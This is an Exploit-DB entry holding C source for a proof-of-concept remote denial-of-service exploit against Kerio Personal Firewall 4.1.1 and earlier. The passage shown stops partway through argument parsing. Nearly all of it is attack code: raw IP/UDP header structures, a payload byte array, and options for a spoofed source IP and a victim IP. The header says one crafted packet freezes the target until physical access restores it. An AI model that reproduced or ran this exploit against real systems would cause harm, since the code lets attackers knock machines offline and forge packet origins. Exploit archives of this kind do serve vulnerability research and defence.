Exploit-DB #626
Description: Kerio Personal Firewall 4.1.1 - Multiple IP Options Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2004-11-12
Author: houseofdabus

Exploit:
/* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
*
* Copyright (c) 2004 houseofdabus
*
* Kerio Personal Firewall Multiple IP Options Denial of Service PoC
*
* Coded by
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* Bug discoveried by eEye:
* http://www.eeye.com/html/research/advisories/AD20041109.html
*
* ---------------------------------------------------------------------
* Tested on:
*    - Kerio Personal Firewall 4.1.1
*
* Systems Affected:
*    - Kerio Personal Firewall 4.1.1 and prior
*
* ---------------------------------------------------------------------
* Description:
*   The vulnerability allows a remote attacker to reliably render
*   a system inoperative with one single packet. Physical access is
*   required in order to bring an affected system out of this
*   "frozen" state. This specific flaw exists within the component
*   that performs low level processing of TCP, UDP, and ICMP packets.
*
* ---------------------------------------------------------------------
* Compile:
* Win32/VC++  : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
* Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
* Linux       : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
*
* ---------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
*   HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
*
*           -fi:IP    From (sender) IP address
*           -ti:IP    To (target) IP address
*           -n:int    Number of packets
*
* ---------------------------------------------------------------------
*
*   This is provided as proof-of-concept code only for educational
*   purposes and testing by authorized individuals with permission to
*   do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_MESSAGE        4068
#define MAX_PACKET         4096

#define DEFAULT_PORT       53
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1

#ifndef _WIN32
#       define FAR
#endif

/* Define the IP header */
typedef struct ip_hdr {
   unsigned char  ip_verlen;        /* IP version & length */
   unsigned char  ip_tos;           /* IP type of service */
   unsigned short ip_totallength;   /* Total length */
   unsigned short ip_id;            /* Unique identifier */
   unsigned short ip_offset;        /* Fragment offset field */
   unsigned char  ip_ttl;           /* Time to live */
   unsigned char  ip_protocol;      /* Protocol */
   unsigned short ip_checksum;      /* IP checksum */
   unsigned int   ip_srcaddr;       /* Source address */
   unsigned int   ip_destaddr;      /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
   unsigned short src_portno;       /* Source port number */
   unsigned short dst_portno;       /* Destination port number */
   unsigned short udp_length;       /* UDP packet length */
   unsigned short udp_checksum;     /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;

char udpmsg[] =
"\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
"\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
"\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
"\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
"\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
"\x75\x73\x2e";

/* globals */
unsigned long  dwToIP,               /* IP to send to */
              dwFromIP;             /* IP to send from (spoof) */
unsigned short iToPort,              /* Port to send to */
              iFromPort;            /* Port to send from (spoof) */
unsigned long  dwCount;              /* Number of times to send */
char           strMessage[MAX_MESSAGE]; /* Message to send */

void
usage(char *progname) {
       printf("Usage:\n\n");
   printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
   printf("       -fi:IP    From (sender) IP address\n");
   printf("       -ti:IP    To (target) IP address\n");
   printf("       -n:int    Number of packets\n");
   exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
   int                i;

   iToPort = 53;
   iFromPort = DEFAULT_PORT;
   dwToIP = inet_addr(DEFAULT_IP);
   dwFromIP = inet_addr(DEFAULT_IP);
   dwCount = DEFAULT_COUNT;
       memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);

   for(i = 1; i < argc; i++) {
       if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
           switch (tolower(argv[i][1])) {
               case 'f':
                   switch (tolower(argv[i][2])) {
                       case 'i':
                           if (strlen(argv[i]) > 4)
                               dwFromIP = inet_addr(&argv[i][4]);
                           break;
                       default:
                           usage(argv[0]);
                           break;
                   }
                   break;
               case 't':
                   switch (tolower(argv[i][2])) {
                       case 'i':
                           if (strlen(argv[i]) > 4)
                               dwToIP = inet_addr(&argv[i][4]);
                           break;
                       default:
                           usage(argv[0]);
                           break;
                   }
                   break;
               case 'n':
                   if (strlen(argv[i]) > 3)
                       dwCount = atol(&argv[i][3]);
                   break;